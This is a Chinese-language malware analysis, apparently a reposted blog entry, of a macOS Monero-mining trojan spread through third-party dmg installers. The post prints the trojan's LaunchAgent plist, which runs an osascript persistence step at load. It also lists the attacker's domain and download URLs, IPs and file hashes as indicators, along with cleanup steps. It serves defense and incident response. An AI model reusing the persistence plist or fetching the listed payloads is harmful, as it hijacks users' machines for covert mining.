• Mac下一款门罗币挖矿木马的简要分析


    背景



    最近在应急中发现了一款Mac上的挖矿木马,目标是挖门罗币,经过走访,受害用户都有从苹果电脑上安装第三方dmg的经历(其中可以确定一款LOL Mac私服安装app会导致该木马),怀疑在网上很多第三方dmg都是携带了相关恶意程序的。

    现象



    根据用户反映中招用户一般会有以下几个症状:

    • CPU占有率高
    • 系统卡顿
    • 活动监视器打不开
    • 电脑过热

    木马



    感染


    经过简要分析,怀疑该木马源起于第三方安装包,在解压安装过程中,生成了一个伪装成11.png(名字可以变)的恶意文件和com.apple.Yahoo.plist(~/Library/LaunchAgents/目录下)文件和com.apple.Google.plist(~/Library/LaunchAgents/目录下)文件

    • com.apple.Google.plist(启动项配置)文件如下,它引导com.apple.Yahoo.plist执行
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    	<key>Label</key>
    	<string>com.apple.Google</string>
    	<key>Program</key>
    	<string>/usr/bin/osascript</string>
    	<key>ProgramArguments</key>
    	<array>
    		<string>osascript</string>
    		<string>-e</string>
    		<string>do shell script "osascript ~/Library/LaunchAgents/com.apple.Yahoo.plist"</string>
    	</array>
    	<key>RunAtLoad</key>
    	<true/>
    	<key>StartInterval</key>
    	<integer>31104000</integer>
    	<key>WatchPaths</key>
    	<array/>
    </dict>
    </plist>
    

    启动


    找到一个其他的png文件,经鉴定运行起来后与11.png效果一致,认为是该木马的AppleScript文件。
    该文件运行后会去ondayon.com:8080下载下列恶意文件

    路径:~/Library/Safari目录下

    • ssl.plist(挖矿程序)
    • pools.txt
    • cpu.txt
    • config.txt
    -rwxr-xr-x@  1 xxxxxx  staff   788212  8 17 16:08 ssl.plist
    -rw-r--r--@  1 xxxxxx  staff      343  8 17 16:08 config.txt
    -rw-r--r--@  1 xxxxxx  staff      229  8 17 16:08 pools.txt
    -rw-r--r--@  1 xxxxxx  staff      256  8 17 16:08 cpu.txt
    

    以及在对应的~/Library/Safari/openssl/lib/目录下
    libcrypto.1.0.0.dylib
    libssl.1.0.0.dylib

    drwxr-xr-x@  4 xxxxxx  staff   128  5 30 16:51 .
    drwxr-xr-x@  3 xxxxxx  staff      96 5 30 16:51 ..
    -rwxr-xr-x@  1 xxxxxx  staff    385152  9 29  2017 libssl.1.0.0.dylib
    -rwxr-xr-x@  1 xxxxxx  staff    1767648  9 29  2017 libcrypto.1.0.0.dylib
    

    挖矿


    ssl.plist是xmr的编译后的挖矿从程序,主要进行挖矿。

    应急修复


    • 删除上文中提到的所有文件,杀掉相关进程;
    • 查找自己下载安装的第三方dmg或其他第三方APP安装包,找到有问题的之后删除即可;

    相关IOC


    IP地址


    43.294.204.183
    45.195.146.32
    101.55.20.149
    

    # Domain


    ondayon.com
    

    URL


    http://ondayon.com:8080/ssl.zip
    http://101.55.20.149/ssl.zip
    http://101.55.20.149/gogoto.png
    http://101.55.20.149/8/Build.zip
    

    Hash


    
    0659b79c1b1274dc1e708cae010c9a2e778a3a52a476262015a788082b22a697(ibcrypto.1.0.0.dylib)
    fde413f8f369c2ede2f0f82e0ab7fe35eb6d4c770d73a6a58ad52fd9ddd65804(ssl.plist)
    c60e197f216fe29f1a9d0b80d0381fcebefe04b6f4d68db3255b6a002f0018c3(libssl.1.0.0.dylib)
    f89205a8091584e1215cf33854ad764939008004a688b7e530b085e3230effce(ondayon.png) 
    5619d101a7e554c4771935eb5d992b1a686d4f80a2740e8a8bb05b03a0d6dc2b(Install-LOL.app.zip)
    2b566d454faabb38cd5b173f9365b89bda5e88d4bfaa7dea97512cc9d89e9150(Build.zip)
    6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d(x.x)
    ab4596d3f8347d447051eb4e4075e04c37ce161514b4ce3fae91010aac7ae97f(com.apple.Yahoo.plist)
    2eb531d2d00c783fb83da9e925177a6aa3f567dec7f678cbe6c30f9dfd5111e7(com.apple.Google.plist)
    
  • 相关阅读:
    C 找到该列最大的前两个数字
    C 寻找和最大的子序列
    C 找出最长的回文子串(不区分大小写)
    C 字符串数组
    C 寻找重复字符并输出他们的位置
    C 寻找0~100的守形数
    C 在外部函数中修改指针变量
    C int转为二进制 再进行与操作
    C 计算阶乘之和
    C 奇偶校验
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/9493933.html
Copyright © 2020-2023  润新知